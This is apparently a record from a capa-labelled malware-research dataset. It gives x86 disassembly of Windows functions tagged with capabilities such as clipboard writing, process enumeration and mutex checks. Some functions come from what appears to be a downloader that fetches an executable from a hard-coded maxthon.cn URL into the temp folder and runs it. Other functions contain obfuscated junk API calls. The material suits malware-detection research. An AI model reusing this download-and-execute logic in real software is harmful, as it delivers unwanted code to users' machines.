joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42fc50
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46d478
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
push esi
mov esi, ecx
call fcn.0042a550
test eax, eax
je 0x42fd58
lea ecx, [esp + 0xc]
call fcn.00401760
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push ecx
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
mov ecx, esi
mov dword [esp + 0x3c], 0
call fcn.0042a550
mov ecx, eax
call fcn.00427bf0
test eax, eax
je 0x42fd3f
mov eax, dword [esp + 0x1c]
test eax, eax
mov ebp, eax
je 0x42fd3f
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x42fd3f
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
neg esi
push edi
push ebx
sbb esi, esi
and esi, edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, ebp
mov edi, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.00401960
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
pop edi
jne 0x42fd21
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x42fd3f
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [0x4a3218]
push ebx
and eax, 0xffff
push eax
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0xc], 0x477300
call fcn.00401960
mov ecx, dword [esp + 0x20]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0x10
Function at 0x432ad0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46d708
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x432b09
inc eax
mov dword [esi + 0x10], eax
jmp 0x432c1c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x432b1d
mov eax, 0xffffffc7
jmp 0x432c1e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x432b2e
cmp dword [esi + 8], eax
jne 0x432b1d
cmp dword [esi + 8], eax
jne 0x432b47
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x432b47
mov eax, 0xffffffc7
jmp 0x432c1e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x432b5b
push eax
mov ecx, ebx
call fcn.00432300
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00401760
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x432b8c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00401780
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00431a70
test eax, eax
mov dword [esp + 0x38], eax
je 0x432bbf
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x477300
call fcn.00401960
mov eax, dword [esp + 0x38]
jmp 0x432c1e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00432930
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x432c03
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00432950
mov esi, eax
test esi, esi
jne 0x432c33
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00432930
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x432bd5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x477300
call fcn.00401960
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x477300
call fcn.00401960
mov eax, esi
jmp 0x432c1e

Function at 0x435d60
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x435dc0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x435dc0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x435dc0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x435dc0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x435e00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x405f3f
Capabilities:
Delete directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
xor esi, esi
cmp dword [0x4defe0], 0x594
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], eax
jne 0x405f80
push esi
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0x4058e0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
mov eax, dword [0x42e758]
mov dword [ebp - 0x24], eax
mov eax, dword [0x42e75c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.00405f38
mov eax, dword [0x42e760]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x42e764]
add ebx, 0x23f
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x20
jmp 0x405fc0
mov edi, dword [ebp - 0x14]
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edi
shl eax, 4
cmp dword [0x4defe0], 0xc
mov dword [ebp - 4], eax
jne 0x405ffe
push esi
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x2c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x4defe0]
cmp eax, 0xfa9
jne 0x40601a
mov dword [0x4de57c], 0xedeb2e40
cmp eax, 0x3eb
jne 0x406027
mov dword [0x4ddf30], esi
mov ecx, dword [ebp - 8]
mov edx, edi
shr edx, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x10], eax
mov dword [0x4de578], 0xf4ea3dee
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x4defe0], 0x213
mov dword [ebp - 0x10], edx
jne 0x406061
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
cmp dword [0x4defe0], 0xc
jne 0x4060a1
lea eax, [ebp - 0x10]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_BackupRead]
push esi
lea eax, [ebp - 0x830]
push eax
push 0x40591c
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov eax, edx
shr eax, cl
lea edi, [ebx + edx]
add ebx, 0x61c88647
add eax, dword [ebp - 0x20]
xor eax, edi
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
dec dword [ebp - 0x18]
jne 0x405fbd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov dword [eax + 4], edx
pop ebx
leave
ret 4
Function at 0x4060ec
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4defe0]
mov ecx, dword [0x4ddf34]
sub esp, 0xe84
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x4061ee
mov ebx, ecx
mov dword [ebp - 8], eax
cmp dword [0x4defe0], 0x959
jne 0x4061dc
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push esi
push esi
lea eax, [ebp - 0x680]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x280]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0x405950
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x405958
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0xe80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_FatalExit]
push ebx
call fcn.00405f3f
add ebx, 8
dec dword [ebp - 8]
jne 0x406115
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408c1b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42d718]
jne 0x408c25
repz ret
jmp fcn.0041107c

Function at 0x41395c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040a39d
and dword [ebp - 4], 0
cmp dword [0x42fb60], 0
mov ebx, eax
jne 0x413a0d
push 0x405854
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413abe
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x405848
push edi
call esi
test eax, eax
je 0x413abe
push eax
call fcn.0040a32b
mov dword [esp], 0x405838
push edi
mov dword [0x42fb60], eax
call esi
push eax
call fcn.0040a32b
mov dword [esp], 0x405824
push edi
mov dword [0x42fb64], eax
call esi
push eax
call fcn.0040a32b
mov dword [esp], 0x405808
push edi
mov dword [0x42fb68], eax
call esi
push eax
call fcn.0040a32b
pop ecx
mov dword [0x42fb70], eax
test eax, eax
je 0x413a0d
push 0x4057f0
push edi
call esi
push eax
call fcn.0040a32b
pop ecx
mov dword [0x42fb6c], eax
mov eax, dword [0x42fb6c]
cmp eax, ebx
je 0x413a65
cmp dword [0x42fb70], ebx
je 0x413a65
push eax
call fcn.0040a3a6
push dword [0x42fb70]
mov esi, eax
call fcn.0040a3a6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413a65
test edi, edi
je 0x413a65
call esi
test eax, eax
je 0x413a5c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413a5c
test byte [ebp - 0xc], 1
jne 0x413a65
or dword [ebp + 0x10], 0x200000
jmp 0x413a9e
mov eax, dword [0x42fb64]
cmp eax, ebx
je 0x413a9e
push eax
call fcn.0040a3a6
pop ecx
test eax, eax
je 0x413a9e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413a9e
mov eax, dword [0x42fb68]
cmp eax, ebx
je 0x413a9e
push eax
call fcn.0040a3a6
pop ecx
test eax, eax
je 0x413a9e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42fb60]
call fcn.0040a3a6
pop ecx
test eax, eax
je 0x413abe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ac0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x12c
mov eax, dword [0x40b0d4]
push esi
push 0
push 2
mov dword [ebp + 0xa8], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x80]
push eax
push esi
mov dword [ebp - 0x80], 0x128
call sub.KERNEL32.dll_Process32First
jmp 0x401071
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x78], eax
jne 0x40104b
mov eax, dword [ebp - 0x68]
mov dword [0x40b764], eax
lea eax, [ebp - 0x5c]
push str.explorer.exe
push eax
call fcn.0040841c
test eax, eax
pop ecx
pop ecx
jne 0x401067
mov eax, dword [ebp - 0x68]
mov dword [0x40b760], eax
lea eax, [ebp - 0x80]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401038
mov ecx, dword [ebp + 0xa8]
pop esi
call fcn.004020d4
add ebp, 0xac
leave
ret

Function at 0x401089
Capabilities:
Check mutex on windows

Disassembly:
mov eax, 0x408596
call fcn.00402584
push ecx
push str.yangysguaguadownloader
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4010e2
call section..text
mov eax, dword [0x40b764]
cmp eax, dword [0x40b760]
je 0x4010e2
lea ecx, [ebp - 0x10]
call fcn.004010f0
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00401489
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004010f6
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword fs:[0], ecx
leave
ret

Function at 0x401489
Capabilities:
Get common file path

Disassembly:
mov eax, 0x4085c7
call fcn.00402584
sub esp, 0x244
mov eax, dword [0x40b0d4]
push ebx
push esi
push edi
push 0x60
mov dword [ebp - 0x10], eax
mov esi, ecx
call fcn.00401e16
pop ecx
mov ecx, eax
mov dword [ebp - 0x250], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x4014c6
call fcn.004018a2
jmp 0x4014c8
xor eax, eax
or dword [ebp - 4], 0xffffffff
push str.http:__mk.maxthon.cn_guagua_maxthon_guagua.exe
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.00401467
mov ecx, dword [esi]
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 4], 1
call fcn.004018f7
xor eax, eax
mov byte [ebp - 0x24c], bl
mov ecx, 0x80
lea edi, [ebp - 0x24b]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24c]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00401467
mov ecx, dword [esi]
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 2
call fcn.0040190a
jmp 0x401546
mov ecx, dword [esi]
call fcn.00401ca0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi]
cmp dword [eax], ebx
je 0x401534
mov edi, eax
cmp edi, ebx
je 0x401562
mov ecx, edi
call fcn.004017b9
push edi
call fcn.00402cbd
pop ecx
mov dword [esi], ebx
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401147
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.00401147
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
inc eax
pop ebx
call fcn.004020d4
leave
ret
Function at 0x401b11
Capabilities:
Read data from internet
Receive data

Disassembly:
mov eax, 0x408647
call fcn.00402584
sub esp, 0x50
mov eax, dword [0x40b0d4]
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
push edi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x14], 0xf
call fcn.0040112b
push edi
lea eax, [ebp - 0x2c]
push eax
push 5
mov ecx, ebx
mov dword [ebp - 4], edi
call fcn.004019d6
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x401b60
lea eax, [ebp - 0x28]
push eax
call fcn.004030aa
pop ecx
mov ecx, edx
cmp ecx, edi
mov esi, eax
mov dword [ebp - 0x58], ecx
jl 0x401b8a
jg 0x401b78
cmp esi, edi
jbe 0x401b8a
add eax, 0x80000001
adc ecx, 0xffffffff
cmp ecx, edi
jg 0x401b78
jl 0x401b8a
cmp eax, edi
ja 0x401b78
lea eax, [ebx + 0x20]
push eax
add ebx, 0x3c
lea eax, [ebp - 0x48]
push ebx
push eax
call fcn.00401850
add esp, 0xc
cmp dword [ebp - 0x30], 0x10
mov eax, dword [ebp - 0x44]
mov byte [ebp - 4], 1
jae 0x401bae
lea eax, [ebp - 0x44]
push 0x409190
push eax
call fcn.0040303f
cmp eax, edi
pop ecx
pop ecx
mov dword [ebp - 0x50], eax
jne 0x401bc9
xor esi, esi
jmp 0x401c6f
cmp dword [ebp + 8], 4
jne 0x401bd3
push 2
jmp 0x401bd4
push edi
push edi
push eax
call fcn.00402f87
mov eax, esi
add esp, 0xc
or eax, dword [ebp - 0x58]
je 0x401c63
mov edi, 0x2008
push edi
call fcn.00401ffe
mov ebx, eax
test ebx, ebx
pop ecx
jne 0x401bfd
xor esi, esi
xor edi, edi
jmp 0x401c6f
and dword [ebp + 8], 0
mov eax, 0x2000
cmp esi, eax
jae 0x401c0c
mov eax, esi
lea ecx, [ebp + 8]
push ecx
push eax
mov eax, dword [ebp - 0x54]
push ebx
push dword [eax + 0x5c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c52
cmp dword [ebp + 8], 0
jbe 0x401c4b
push dword [ebp - 0x50]
push dword [ebp + 8]
push 1
push ebx
call fcn.00402e80
push edi
push 0
push ebx
call fcn.00402e20
add esp, 0x1c
sub esi, dword [ebp + 8]
sbb dword [ebp - 0x58], 0
jmp 0x401c01
mov dword [ebp - 0x4c], 1
mov ecx, dword [ebp - 0x54]
call fcn.00401592
push ebx
call fcn.00402db8
pop ecx
xor edi, edi
push dword [ebp - 0x50]
call fcn.00402dbd
mov esi, dword [ebp - 0x4c]
pop ecx
push edi
push 1
lea ecx, [ebp - 0x48]
call fcn.00401147
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401147
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.004020d4
leave
ret 4
Function at 0x401d1e
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x4085d9
call fcn.00402584
sub esp, 0x7c
mov eax, dword [0x40b0d4]
push ebx
push esi
push edi
mov dword [ebp - 0x10], eax
mov edi, ecx
lea eax, [edi + 0x20]
push eax
lea eax, [edi + 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00401850
push 0x44
pop esi
xor ebx, ebx
push esi
lea eax, [ebp - 0x88]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00402e20
push 0x10
lea eax, [ebp - 0x44]
push ebx
push eax
mov dword [ebp - 0x88], esi
call fcn.00402e20
mov eax, dword [ebp - 0x28]
add esp, 0x24
cmp dword [ebp - 0x14], 0x10
jae 0x401d80
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x88]
push ecx
push ebx
push ebx
push 0x20
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401de2
push dword [ebp - 0x40]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
or dword [ebp - 0x34], 0xffffffff
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x44]
mov dword [ebp - 0x30], eax
call esi
cmp dword [ebp - 0x30], ebx
je 0x401ddb
xor eax, eax
inc eax
push ebx
mov dword [edi], eax
push eax
jmp 0x401de5
mov ecx, edi
call fcn.00401ca0
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401147
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.004020d4
leave
ret
Function at 0x403148
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x18
push 0x409230
call fcn.00403720
mov edi, 0x94
mov eax, edi
call fcn.00405700
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40b7b4], ecx
mov eax, dword [esi + 4]
mov dword [0x40b7c0], eax
mov edx, dword [esi + 8]
mov dword [0x40b7c4], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40b7b8], esi
cmp ecx, 2
je 0x4031a8
or esi, 0x8000
mov dword [0x40b7b8], esi
shl eax, 8
add eax, edx
mov dword [0x40b7bc], eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x4031e1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4031e1
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4031f9
cmp eax, 0x20b
je 0x4031e6
mov dword [ebp - 0x1c], edi
jmp 0x40320d
cmp dword [ecx + 0x84], 0xe
jbe 0x4031e1
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x403207
cmp dword [ecx + 0x74], 0xe
jbe 0x4031e1
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
push edi
call fcn.004056a9
pop ecx
test eax, eax
jne 0x403239
cmp dword [0x40b784], 2
je 0x403226
call fcn.00404ebb
push 0x1c
call fcn.00404d44
push 0xff
call fcn.00404724
pop ecx
pop ecx
call fcn.00405607
mov dword [ebp - 4], edi
call fcn.0040545c
test eax, eax
jge 0x403252
push 0x1b
call fcn.00403123
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40cd74], eax
call fcn.0040533a
mov dword [0x40b77c], eax
call fcn.00405298
test eax, eax
jge 0x403278
push 8
call fcn.00403123
pop ecx
call fcn.00405065
test eax, eax
jge 0x403289
push 9
call fcn.00403123
pop ecx
push 1
call fcn.00404754
pop ecx
mov dword [ebp - 0x24], eax
cmp eax, edi
je 0x40329f
push eax
call fcn.00403123
pop ecx
mov eax, dword [0x40b7d4]
mov dword [0x40b7d8], eax
push eax
push dword [0x40b7cc]
push dword [0x40b7c8]
call fcn.00401089
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x1c], edi
jne 0x4032ce
push esi
call fcn.0040487f
call fcn.004048a1
jmp 0x403300
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x34]
call fcn.0040375b
ret
Function at 0x404534
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov ecx, dword [ebp + 0x3a4]
cmp ecx, dword [0x40cc48]
mov eax, dword [0x40b0d4]
push ebx
push esi
mov dword [ebp + 0x398], eax
push edi
jae 0x4046fa
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x40cc60]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x80], ebx
je 0x4046fa
xor edi, edi
cmp dword [ebp + 0x3ac], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], edi
jne 0x40459e
xor eax, eax
jmp 0x40470e
test al, 0x20
je 0x4045af
push 2
push edi
push edi
push ecx
call fcn.00406dda
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x404684
cmp dword [ebp + 0x3ac], edi
mov eax, dword [ebp + 0x3a8]
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x3a4], edi
jbe 0x4046cb
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp + 0x3a8]
lea eax, [ebp - 0x6c]
cmp ecx, dword [ebp + 0x3ac]
jae 0x404611
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x404602
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x80]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x4045e4
mov edi, eax
lea eax, [ebp - 0x6c]
sub edi, eax
push 0
lea eax, [ebp - 0x78]
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x404651
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x40465d
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp + 0x3a8]
xor edi, edi
cmp eax, dword [ebp + 0x3ac]
jb 0x4045d8
jmp 0x40465f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
xor edi, edi
mov eax, dword [ebp - 0x74]
cmp eax, edi
jne 0x4046f5
cmp dword [ebp + 0x3a4], edi
je 0x4046cb
push 5
pop eax
cmp dword [ebp + 0x3a4], eax
jne 0x4046bd
mov dword [0x40b7ac], eax
jmp 0x404701
push edi
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x3ac]
push dword [ebp + 0x3a8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4046af
mov eax, dword [ebp - 0x78]
mov dword [ebp + 0x3a4], edi
mov dword [ebp - 0x74], eax
jmp 0x40465f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
jmp 0x40465f
push dword [ebp + 0x3a4]
call fcn.00406a35
pop ecx
jmp 0x40470b
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x4046e3
mov eax, dword [ebp + 0x3a8]
cmp byte [eax], 0x1a
je 0x404597
mov dword [0x40b7a8], 0x1c
mov dword [0x40b7ac], edi
jmp 0x40470b
sub eax, dword [ebp - 0x7c]
jmp 0x40470e
and dword [0x40b7ac], 0
mov dword [0x40b7a8], 9
or eax, 0xffffffff
mov ecx, dword [ebp + 0x398]
pop edi
pop esi
pop ebx
call fcn.004020d4
add ebp, 0x39c
leave
ret